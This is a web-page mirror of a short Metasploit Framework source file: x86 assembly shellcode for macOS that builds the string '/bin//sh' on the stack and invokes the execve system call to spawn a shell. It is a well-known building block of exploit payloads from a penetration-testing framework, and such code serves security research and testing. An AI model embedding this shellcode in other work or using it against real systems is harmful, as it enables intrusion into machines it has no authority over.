CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/osx/x86/include/_execve_binsh.s
Views: 11784
1
_execve_binsh:
2
xor eax, eax
3
push eax ; "\0\0\0\0"
4
push 0x68732f2f ; "//sh"
5
push 0x6e69622f ; "/bin"
6
mov ebx, esp
7
push eax ; envp
8
push eax ; argv
9
push ebx ; path
10
push eax ; spacer
11
mov al, 59 ; SYS_execve
12
int 0x80
13
14